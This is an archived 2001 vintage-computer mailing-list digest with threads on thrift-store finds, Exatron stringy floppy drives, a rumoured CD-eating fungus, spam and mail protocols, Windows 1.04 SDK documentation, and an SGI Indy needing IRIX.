Ol' Fred cisin@xenosoft.com From jrkeys at concentric.net Tue Jun 19 23:54:37 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:04:37 2005 Subject: New finds in Houston References: <20010620034557.PWJH29618.tomts6-srv.bellnexxia.net@duron> Message-ID: <001101c0f945$1c9d3ba0$87721fd1@default> Thanks for the great information on this unit. ----- Original Message ----- From: To: Sent: Tuesday, June 19, 2001 6:49 PM Subject: Re: New finds in Houston > > From: "John R. Keys Jr." > > To: > > Subject: New finds in Houston > > Date: Tue, 19 Jun 2001 21:58:57 -0500 > > Reply-to: classiccmp@classiccmp.org > > > I just got back from 18 days down in Houston and in-between working (and > > the flooding) I was able to hit a few thrifts there. I got the > > following: > > > > 1. A handheld called Compact by Ultratec with a acoustic modem in the > > top cover. It's 8 1/2 x 3 1/2 and 1 1/8 inch tall. It has no other > > markings on it. > > TTY used for deaf and hard of hearing users, use it to talk to > another tty of any types or via relay service like deaf to hearing > person via a live person translating the text to speech. I have > one. Very notorious for breaking down due to that orange cable > linking both halves together, straight when closed, then bent 180 > degrees when open. Very nice design and last long time on > batteries. Right now mine is broken, going to around to it to fix. > > The cpu is intel 8080 based microcontroller, LCD is EL backlit sucks > batteries. Keep it off during day, use it for dark places or at > night. > > Use 9VDC 500mA tip is negative. If you have AA NiCd rechargable it > will work or use regular AA batteries. > > You can still buy parts or send it to ultratec for repairs. > > Cheers, > > Wizard > From jrkeys at concentric.net Tue Jun 19 23:57:30 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:04:37 2005 Subject: New finds in Houston References: Message-ID: <001901c0f945$83bc76c0$87721fd1@default> After I get it dried and cleaned up I will have to see if it still works. Thanks for the information. John ----- Original Message ----- From: "Don Maslin" To: Sent: Tuesday, June 19, 2001 11:24 PM Subject: Re: New finds in Houston > > > On Tue, 19 Jun 2001, John R. Keys Jr. wrote: > > > I just got back from 18 days down in Houston and in-between working (and > > the flooding) I was able to hit a few thrifts there. I got the > > following: > > > > 1. A handheld called Compact by Ultratec with a acoustic modem in the > > top cover. It's 8 1/2 x 3 1/2 and 1 1/8 inch tall. It has no other > > markings on it. > > > > 2. Six new in the box Vic20 game cartridges > > > > 3. R.O.B. by Nintendo robot > > > > 4. Something called a Xscribe that looks like a over grown C64. > > XScribe was a San Diego Company that built computer based Court Reporting > machines. The early ones were CP/M based. Unfortunately, as they > diminished in size, so did the company, and after a couple of mergers, > they are remembered mostly by those who lost money in the stock. It now > trades as NMFGE at about 11 cents. > > - don > > > 5. A alphamicro 1000A model AM1000-47 > > > > 6. Radio Shack TRS-80 TP-10 thermal printer > > > > 7. Several new in the box TI99 cartridges > > > > 8. And about 50+ more items that do not meet the 10 year rule. > > It was a good trip just wish the weather had been better. > > > > > > From cisin at xenosoft.com Tue Jun 19 23:48:09 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: <120.893c41.286182a3@aol.com> Message-ID: On Wed, 20 Jun 2001 SUPRDAVE@aol.com wrote: > I have one for one of the 2 trs80 model 1 i have. It's a small box that plugs > into the computer. It uses small carts that looks kinda like cassette tapes. > the media actually looks like thin fishing line. I don't have any of the > carts though. i spoke with a guy that used one and said it was random acess > device and was slow, although much faster than cassette tapes. It is intrinsically sequential, albeit looped sequential, and impossible for it to be a random access device, although a file system COULD provide a SLOW emulation of random access through methods such as indexed sequential. -- Grumpy Ol' Fred cisin@xenosoft.com From mikeford at socal.rr.com Wed Jun 20 01:25:43 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2FF12C.1F834D28@greenbelt.com> References: <002101c0f840$aad93190$e462d6d1@DOMAIN> Message-ID: >Mike Ford wrote: > >> >then devoured the thin aluminium layer and some of the data-storing >> >polycarbonate resin. >> >Dr Cardenes said: "It completely destroys the aluminium. It leaves nothing >> >> I know there is something that eats aluminum sliding glass door tracks. > >Hey, how do I fix THAT problem?? Pull up the old one and replace it. From ethan_dicks at yahoo.com Wed Jun 20 02:14:37 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: <20010620071437.96692.qmail@web9504.mail.yahoo.com> --- Ernest wrote: > > What's the story with these things? ... What do you do with them? What system > are they for? In addition to the TRS-80, which I think these were the most popular system for, I happen to have a PAL blaster that has a string-floppy drive built into the back, and a box of 3 or 4 tapes that my employer bought with it. We abandoned this PAL blaster later because, I think, it only understands an obsolete version of PALASM. The idea is that you would interactively, over a dumb terminal, enter the equations, then use the internal microprocessor to validate and compile the PAL, then press the "burn" button on the front to make devices. The stringy floppy was there to save your work. We hooked this thing up to a VAX and did our editing and backups there. The PAL blaster was a read-only device - no local editing allowed. We replaced it with that up600a I'm still seeking an update for. I have the last version of the software for it, minus one. I'm hoping that the last version supports additional (read "newer") devices. But your question was about the stringy floppy and my answer is that they were found on embedded devices as well as microcomputers of the early 1980s. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From foo at siconic.com Wed Jun 20 02:06:45 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: <20010620071437.96692.qmail@web9504.mail.yahoo.com> Message-ID: On Wed, 20 Jun 2001, Ethan Dicks wrote: > In addition to the TRS-80, which I think these were the most popular > system for, I happen to have a PAL blaster that has a string-floppy > drive built into the back, and a box of 3 or 4 tapes that my employer > bought with it. I have a very interesting computer based on the 6502 from about 1979 that has a stringy-floppy drive built into the back. It seems like it might have been used as some sort of process control computer, but I'm not sure. I haven't fired it up yet. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Wed Jun 20 04:36:19 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: <200106200321.WAA02212@caesar.cs.umn.edu> References: <200106200321.WAA02212@caesar.cs.umn.edu> Message-ID: >I've never actually seen one, but they were used on several home >microcomputers >back in the late 70's/early 80's. Probably trs-80 and apple ][. If my >poor memory serves, they were supposed to be somewhat between using a >slow but cheap audio cassette, and a fast but expensive floppy drive. >I think they ended up being a faster but too expensive and too unreliable >option, and thus never really caught on. They were definately used with the TRS-80's but I believe the Commodore systems used them as well. Even the '81 catalog for the Super Elf lists them, at $279, and shows a highly expanded Super Elf on the cover with two of them sitting on top of it's case. I've got a cartridge for the drive around here somewhere. I've always wanted to get one of the wafer drives for the Spectrum myself. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From owad at applefritter.com Wed Jun 20 07:19:36 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:37 2005 Subject: Apple I web site Message-ID: <20010620121936.31308@mail.earthlink.net> Joe Torzewski and I just completed a very comprehensive web site about the Apple I, which may be of interest to some. It's at . Tom Applefritter www.applefritter.com From dhquebbeman at theestopinalgroup.com Wed Jun 20 07:21:26 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:37 2005 Subject: retroarchive.org (Announcement 2) Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511CA@jeffserver.tegjeff.com> > I know that the Amiga and Atari ST's had their versions, but > there was a fairly major format change at some point that could cause > a problem for older versions of the software on non-PC clones. If I > recall correctly, PKZIP/UNZIP was actually an outgrowth of PKware's > earlier PKARC/PKXARC programs and it changed names when Sea > Associates complained about the closeness of the name to their > products (ARC & UNARC), whcih they were compatible with. This was in > late '87 or early '88 and BBS's started boycotting the use of > ARC/UNARC and switched to ZIP as the defacto compression standard. They didn't just change the name, they changed the format as well. I'd been a big ARC user, having switched from SQ/USQ/LU/LDIR etc. PKARC and PKXARC were so much faster, I switched immediately. You know the rest of the story. I kept DOS (for sure, and maybe CP/M) executables of them so if anyone needs them, let me know. However, they don't appear to run properly under CMD.EXE (maybe CONFIG.NT needs a tweak). Regards, -doug q From jfoust at threedee.com Wed Jun 20 08:25:53 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: References: Message-ID: <4.3.2.7.0.20010620082515.0210bee0@pc> At 07:43 PM 6/19/01 -0700, Fred Cisin (XenoSoft) wrote: >The original post that started this thread spoke of TRANSPARENT spots >where the aluminium was "gone". Reduces the overall credibility of the >story. I suspect the aluminium went from reflective to transparent, so they said it was "gone". - John From jfoust at threedee.com Wed Jun 20 08:40:26 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004101c0f91f$8ac76680$9cc762d8@idcomm.com> References: Message-ID: <4.3.2.7.0.20010620083121.0205dd20@pc> At 06:25 PM 6/19/01 -0600, Richard Erlacher wrote: >I'm not sure why this continues to be the problem that it is. I agree that SPAM >is terribly annoying, but can't comprehend why it can't be dealt with from the >INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only >allows a single addressee, and that any server that sees more than one destinee, >either in the "to" field or the CC field, it simply pitches it in the bit >bucket. >If I ever want to send several people the same email, which I've not yet done, >after about 10 years of internetting, I'd simply write a script to do that. And what about the 99.99% of Internet (read: Windows) users who liked that "send to two people" feature of Outlook? You expect them to write scripts? What about all the BCC: mail that gets sent that doesn't have N addresses in the headers? Gee, if we limited the size and number of e-mails you could send, that would help reduce bandwidth, too. Slower computers would be a great deterrent, too. >THERE HAS GOT TO BE ACCOUNTABILITY on the internet. If your name, and home >address were in every message you send, you would probably not send unsolicited >email. If such a rule were in place, I'm sure there are millions of companies who'd gladly send spam that conformed. In the paper world, it's called "junk mail" and it seems to be quite popular. In the e-mail world, at least half the junk I get does have reasonable attribution to the source. The "problem" with spam is that it apparently works for some scams, and that there's plenty of people willing to try it. - John From jhellige at earthlink.net Wed Jun 20 09:19:13 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) Message-ID: <01Jun20.102103edt.119047@gateway.mediacen.navy.mil> >who'd gladly send spam that conformed. In the paper world, it's called >"junk mail" and it seems to be quite popular. In the e-mail world, at >least half the junk I get does have reasonable attribution to the source. >The "problem" with spam is that it apparently works for some scams, >and that there's plenty of people willing to try it. Another difference between junk snail mail and spam is that the junk mailers actually have to pay for each item they send out. Not true with the email spammers. The only thing that holds them back is the lack of addresses and those are readily available from companies on eBay and such. Anything that is free and readily accessible will always be exploited by some, regardless of how it affects others. Jeff From RCini at congressfinancial.com Wed Jun 20 09:18:31 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:37 2005 Subject: SDK for Windows 1.04?? Message-ID: <497A9E0467D2D2119B760090271EB8E5879A77@MAIL10> Hello, all: I was paging through some Sourcer listings that I have of the Windows 1.04 code and noticed that most of the functions in the DOS Shell code (MSDOS.exe and MSDOSD.exe) are referenced by ordinal number and not function name ("MSDOS_23" versus "DoSomeThing"). So, I was wondering if anyone had a copy or knows the existence of SDK documentation for Windows 1. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From geneb at deltasoft.com Wed Jun 20 09:31:05 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: > What's the story with these things? They're small black and silver, and the > cassettes are tiny little clear things that look like backup tapes, or > something like that. > > What do you do with them? What system are they for? > Ernest, they're an alternative to a floppy drive for TRS-80 Model I computers. IIRC, they plugged into the card edge connector at the upper left corner of the CPU. I don't know if they could plug into the Expansion Interface, but I see no reason why not. The cartridges are a continuously(sp) streaming media. it's one loop of tape. Each one would hold (I _think_) 90KB of data each. I don't know how popular they are - I've only seen one in my life and that was back in 1987 or so. g. From cisin at xenosoft.com Wed Jun 20 10:47:44 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <4.3.2.7.0.20010620082515.0210bee0@pc> Message-ID: On Wed, 20 Jun 2001, John Foust wrote: > I suspect the aluminium went from reflective to transparent, > so they said it was "gone". Transparent Aluminium? like in Star Trek movie #4? ("Hello, computer") From cisin at xenosoft.com Wed Jun 20 10:50:38 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: On Wed, 20 Jun 2001, Gene Buckle wrote: > Ernest, they're an alternative to a floppy drive for TRS-80 Model I > computers. IIRC, they plugged into the card edge connector at the upper > left corner of the CPU. I don't know if they could plug into the > Expansion Interface, but I see no reason why not. Sure. The connector on the left side, near the front, which was a pass-through of the expansion port. From mikeford at socal.rr.com Wed Jun 20 11:05:50 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <4.3.2.7.0.20010620082515.0210bee0@pc> References: Message-ID: >At 07:43 PM 6/19/01 -0700, Fred Cisin (XenoSoft) wrote: >>The original post that started this thread spoke of TRANSPARENT spots >>where the aluminium was "gone". Reduces the overall credibility of the >>story. > >I suspect the aluminium went from reflective to transparent, >so they said it was "gone". Oh my goodness, we have invented transparent aluminum! From spectre at stockholm.ptloma.edu Wed Jun 20 11:25:16 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: from Fred Cisin at "Jun 20, 1 08:47:44 am" Message-ID: <200106201625.JAA11580@stockholm.ptloma.edu> > > I suspect the aluminium went from reflective to transparent, > > so they said it was "gone". > > Transparent Aluminium? > like in Star Trek movie #4? ("Hello, computer") Ah, the keyboard ... how quaint. Strangest version of the Finder I've ever seen on a Mac Plus, tho'. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Those are my principles. If you don't like them, I have others. -- G. Marx - From bdc at world.std.com Wed Jun 20 11:25:43 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Wed, 20 Jun 2001, Mike Ford wrote: > >At 07:43 PM 6/19/01 -0700, Fred Cisin (XenoSoft) wrote: > >>The original post that started this thread spoke of TRANSPARENT spots > >>where the aluminium was "gone". Reduces the overall credibility of the > >>story. > > > >I suspect the aluminium went from reflective to transparent, > >so they said it was "gone". > > Oh my goodness, we have invented transparent aluminum! Well... Is it possible that the fungus would be eating through some sort of adhesive or polymer? And then produce some kind of waste that would react with metalic aluminum to form an aluminum salt that's at least "clearish"? It seems like a whole lot of things would have to come together for this to even work. I can imagine the aluminum layer wearing off of CD-R/CD-RW media because it sits in a layer right on the top of the plastic disk. With pressed commercial CDs, I think the metalic layer is actually sandwiched between two pieces of plastic. In that situation, it'd be a lot more difficult to believe that clear patches are showing up. -brian. From geneb at deltasoft.com Wed Jun 20 11:36:08 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: > On Wed, 20 Jun 2001, Gene Buckle wrote: > > Ernest, they're an alternative to a floppy drive for TRS-80 Model I > > computers. IIRC, they plugged into the card edge connector at the upper > > left corner of the CPU. I don't know if they could plug into the > > Expansion Interface, but I see no reason why not. > > Sure. > The connector on the left side, near the front, which was a pass-through > of the expansion port. > Wasn't that the printer port? Or was the printer port the center-front connector. *sigh* It's been so long. :) g. (who wishes he had a Model I system) From jeff.kaneko at juno.com Wed Jun 20 11:32:46 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? Message-ID: <20010620.114153.-300323.0.jeff.kaneko@juno.com> On Wed, 20 Jun 2001 09:05:50 -0700 Mike Ford writes: > >At 07:43 PM 6/19/01 -0700, Fred Cisin (XenoSoft) wrote: > >>The original post that started this thread spoke of TRANSPARENT > spots > >>where the aluminium was "gone". Reduces the overall credibility > of the > >>story. > > > >I suspect the aluminium went from reflective to transparent, > >so they said it was "gone". > > Oh my goodness, we have invented transparent aluminum! Well it would figure-- most of the really *important* discoveries were accidental. Take the microwave oven, fer example . . . :^) ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jim at calico.litterbox.com Wed Jun 20 11:44:37 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <200106201625.JAA11580@stockholm.ptloma.edu> from "Cameron Kaiser" at Jun 20, 2001 09:25:16 AM Message-ID: <200106201644.KAA18594@calico.litterbox.com> > > > > I suspect the aluminium went from reflective to transparent, > > > so they said it was "gone". > > > > Transparent Aluminium? > > like in Star Trek movie #4? ("Hello, computer") > > Ah, the keyboard ... how quaint. > > Strangest version of the Finder I've ever seen on a Mac Plus, tho'. And you know Scotty is a computer genius in his own right - doing molecular modeling in 3d (wireframe) on an SE/30... -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jim at calico.litterbox.com Wed Jun 20 11:47:05 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: from "Brian Chase" at Jun 20, 2001 11:25:43 AM Message-ID: <200106201647.KAA18608@calico.litterbox.com> > It seems like a whole lot of things would have to come together for this > to even work. I can imagine the aluminum layer wearing off of CD-R/CD-RW > media because it sits in a layer right on the top of the plastic disk. > With pressed commercial CDs, I think the metalic layer is actually > sandwiched between two pieces of plastic. In that situation, it'd be a > lot more difficult to believe that clear patches are showing up. What if the fungus was present at manufacture, is eating the plastic or adhiesive and producing a corrosive? That doesn't stretch too far, most bio-waste is mildly corrosive, and that aluminum is probably pretty thin. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cisin at xenosoft.com Wed Jun 20 12:02:05 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) In-Reply-To: <4.3.2.7.0.20010620083121.0205dd20@pc> Message-ID: > At 06:25 PM 6/19/01 -0600, Richard Erlacher wrote: > >I'm not sure why this continues to be the problem that it is. I agree that SPAM > >is terribly annoying, but can't comprehend why it can't be dealt with from the > >INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only > >allows a single addressee, and that any server that sees more than one destinee, > >either in the "to" field or the CC field, it simply pitches it in the bit > >bucket. > >If I ever want to send several people the same email, which I've not yet done, > >after about 10 years of internetting, I'd simply write a script to do that. Any software that would block sending SPAM would also prevent the operation of list-servers, SUCH AS THIS ONE. Conversely, when any system is implemented, what would prevent a spammer from using a copy of majordomo and involuntarily subscribing everyone to his spam mailing list? BTW, MOST of the SPAM that I receive does NOT show more than one address in the header by the time that it gets here. Perhaps some of the SPAM is being done with a script just like the one that Richard would write? I think that we can assume that Richard has not been writing scripts for them. While I do not claim to know what is CURRENTLY being done, it would certainly be trivial for a program to generate millions of messages, where each one enters the mail system as a seperate message. -- Grumpy Ol' Fred cisin@xenosoft.com From spectre at stockholm.ptloma.edu Wed Jun 20 12:07:40 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <200106201644.KAA18594@calico.litterbox.com> from Jim Strickland at "Jun 20, 1 10:44:37 am" Message-ID: <200106201707.KAA09336@stockholm.ptloma.edu> > > > > I suspect the aluminium went from reflective to transparent, > > > > so they said it was "gone". > > > > > > Transparent Aluminium? > > > like in Star Trek movie #4? ("Hello, computer") > > > > Ah, the keyboard ... how quaint. > > > > Strangest version of the Finder I've ever seen on a Mac Plus, tho'. > > And you know Scotty is a computer genius in his own right - doing > molecular modeling in 3d (wireframe) on an SE/30... No, I'm quite sure it was a Plus (that's what Dan @ Low End Mac thinks also) so it was even more impressive ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- I am the mother of all things, and all things must wear a sweater. --------- From cisin at xenosoft.com Wed Jun 20 12:11:20 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: On Wed, 20 Jun 2001, Gene Buckle wrote: > > Sure. > > The connector on the left side, near the front, which was a pass-through > > of the expansion port. > Wasn't that the printer port? Or was the printer port the center-front > connector. *sigh* It's been so long. :) THAT was the serial port. The printer port was left rear, around the corner from the floppy port. (both 34 pin) The expansion port was the 40 pin one. > g. (who wishes he had a Model I system) 'shoulda come to VCF in 1999. In the last two years, I got rid of several cubic yards of TRS-80 stuff. I HATE moving. -- Grumpy Ol' Fred cisin@xenosoft.com From jrice at texoma.net Wed Jun 20 12:12:46 2001 From: jrice at texoma.net (James Rice) Date: Sun Feb 27 19:04:37 2005 Subject: SGI Indy Message-ID: <3B30D98E.28D70231@texoma.net> I've acquired a SGI Indy system complete with 21" monitor, keyboard and mouse (no IndyCam) but the hard drive has been wiped. Does anyone know where I might get a copy of the IRIX media or what are the licensing terms. Does the hardware come with the right to the OS like NeXT? Looks like a cool system if I can get it up and running. Also are flopptical disks still available? From rdd at smart.net Wed Jun 20 12:26:23 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <20010620.114153.-300323.0.jeff.kaneko@juno.com> Message-ID: On Wed, 20 Jun 2001, Jeffrey l Kaneko wrote: > Well it would figure-- most of the really *important* discoveries > were accidental. Take the microwave oven, fer example . . . :^) Yes, the story of how that the microwave oven was invented was neat! It just shows that playing and experimentation in the workplace, and eating while working, are all good ideas. Alas, many biz-'droids have no understanding of such things... isn't it interesting how many people who are superb examples of devolution end up in management? -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From Robert_Feldman at jdedwards.com Wed Jun 20 12:15:02 2001 From: Robert_Feldman at jdedwards.com (Feldman, Robert) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? Message-ID: A search of the Web did not turn up any specific references to fungus attacking CD's. The closest was a question from someone in Malaysia as to whether a certain CD cleaning solution would protect CD's against fungal damage, so apparently that person has experienced this. Most of the concerns with the longevity of CD's were with degradation of the plastics and mechanical separation of the layers. From rdd at smart.net Wed Jun 20 12:43:31 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Brian Chase wrote: > Yeah, imagine if this were to be let loose in the citys and towns of the > US. All those homes with aluminum siding, all those soda cans. Why, it > has the makings for a good Hollywood disaster film. A disaster? Would not something that ate that horrible looking aluminum siding on houses and their wood trim be a good thing? Perhaps it will also eat away that horrid vinyl siding, and hopefully all of the new housing developments sprouting up like mutated poison ivy throughout the countryside as well. :-) RDD <--- ducking behind his old asbestos shingles to avoid the flames -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From spectre at stockholm.ptloma.edu Wed Jun 20 12:37:28 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) In-Reply-To: from Fred Cisin at "Jun 20, 1 10:02:05 am" Message-ID: <200106201737.KAA11196@stockholm.ptloma.edu> > BTW, MOST of the SPAM that I receive does NOT show more than one address > in the header by the time that it gets here. Most are implemented with the Bcc: header, which sendmail throws away in the actual message but uses for constructing the destination list. (Bcc = Blind Carbon Copy) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Please dispose of this message in the usual manner. -- Mission: Impossible - From cisin at xenosoft.com Wed Jun 20 12:39:13 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: > A search of the Web did not turn up any specific references to fungus > attacking CD's. The closest was a question from someone in Malaysia as to > whether a certain CD cleaning solution would protect CD's against fungal > damage, so apparently that person has experienced this. or anything else, that has now been morphed by the media into a CD Eating Fungus. (why would a CD eat fungus?) In the meantime, this list has been putting a lot of effort into trying to come up with ways that what is apparently an urban legend COULD POSSIBLY be true. Has anyone tried playing them backwards? -- Grumpy Ol' Fred cisin@xenosoft.com From jhellige at earthlink.net Wed Jun 20 12:44:30 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:38 2005 Subject: Wave of the Future (Spam) Message-ID: <01Jun20.134457edt.119041@gateway.mediacen.navy.mil> >BTW, MOST of the SPAM that I receive does NOT show more than one address >in the header by the time that it gets here. Perhaps some of the SPAM is >being done with a script just like the one that Richard would write? >I think that we can assume that Richard has not been writing scripts for >them. The ones that really piss me off are the ones that arrive showing my name in the FROM: block Jeff From cmcmanis at mcmanis.com Wed Jun 20 12:56:41 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: References: Message-ID: <5.0.0.25.2.20010620105022.025abc10@209.185.79.193> At 10:39 AM 6/20/01 -0700, Fred wrote: >In the meantime, this list has been putting a lot of effort into trying to >come up with ways that what is apparently an urban legend COULD POSSIBLY >be true. Has anyone tried playing them backwards? I had thought it was common knowledge, the reflective layer in many CDs is sputtered aluminum. When exposed to oxygen (as can happen when oxygen migrates through the plastic or the plastic is cracked) the Aluminum oxidizes and turns black. It does look a bit like a fungus but only because it tends to follow the grain pattern in the deposited aluminum. Aluminum-oxide is black and quite hard actually. I've seen several examples of this in "real life" and while I have never seen the process to actually _remove_ Aluminum from the disk it is conceivable that the Al02 would form a different crystal matrix and thus change its orientation relative to the original sputtering. That could leave 'gaps' where the original reflective layer was. So folks to don't understand chemistry invent the 'fungus' idea and off it goes into urban legend-dom. --Chuck From ab at lists.gxis.de Wed Jun 20 12:58:38 2001 From: ab at lists.gxis.de (Alexander Bochmann) Date: Sun Feb 27 19:04:38 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: ; from jhellige@earthlink.net on Tue, Jun 19, 2001 at 05:21:34PM -0400 References: Message-ID: <20010620195838.W29785@gxis.de> Hi, ...on Tue, Jun 19, 2001 at 05:21:34PM -0400, Jeff Hellige wrote: > products (ARC & UNARC), whcih they were compatible with. This was in > late '87 or early '88 and BBS's started boycotting the use of > ARC/UNARC and switched to ZIP as the defacto compression standard. At least on the Atari ST, lharc was much more common than zip until in the late years, when STzip worked stable (and supported all the pkzip compression routines)... Alex. From vcf at siconic.com Wed Jun 20 12:07:02 2001 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 19:04:38 2005 Subject: Interesting British computer needs good retirement home In-Reply-To: Message-ID: Roy Jenkins e-mailed me looking for a new home for his old "LSI System-M-Three" computer. The message below describes this machine. He lives in North Gloucestershire in the Village of Weston-sub-Edge near the small town of Chipping Campden. If interested, please reply directly to Roy. Reply-to: Roy Jenkins On Mon, 11 Jun 2001, Roy Jenkins wrote: > It is an LSI System-M-Three desktop computer with Tokyo Electric Daisy > Wheel Printer. The software is CP/M based and includes very early > versions of Wordstar and Supercalc. For years it was hooked up to a > Telex machine via an RS232 port. There are something like a hundred 8 > inch floppies with it and a number of different daisy wheels. > > This system cost the equivalent of over twelve thousand dollars in > 1981 and was used virtually every working day for eighteen years. It > never went wrong ,never crashed and is still in working order. It has > 64K (yes K!) of static RAM and two 8 inch floppy drives of 198K (yes > K!) each. All the manuals come with it. > > It is British to the point of having a Union Flag on the panel! > > After so much faithful service I would hate to junk it. > > Roy Jenkins. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From healyzh at aracnet.com Wed Jun 20 13:13:34 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy In-Reply-To: <3B30D98E.28D70231@texoma.net> Message-ID: >I've acquired a SGI Indy system complete with 21" monitor, keyboard and >mouse (no IndyCam) but the hard drive has been wiped. Does anyone know >where I might get a copy of the IRIX media or what are the licensing >terms. Does the hardware come with the right to the OS like NeXT? >Looks like a cool system if I can get it up and running. Also are >flopptical disks still available? Unfortunatly your best bet is probably eBay, unless someone on the list can help you. If you want a recent version you'll pay through the nose, and even older versions aren't exactly cheap. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | 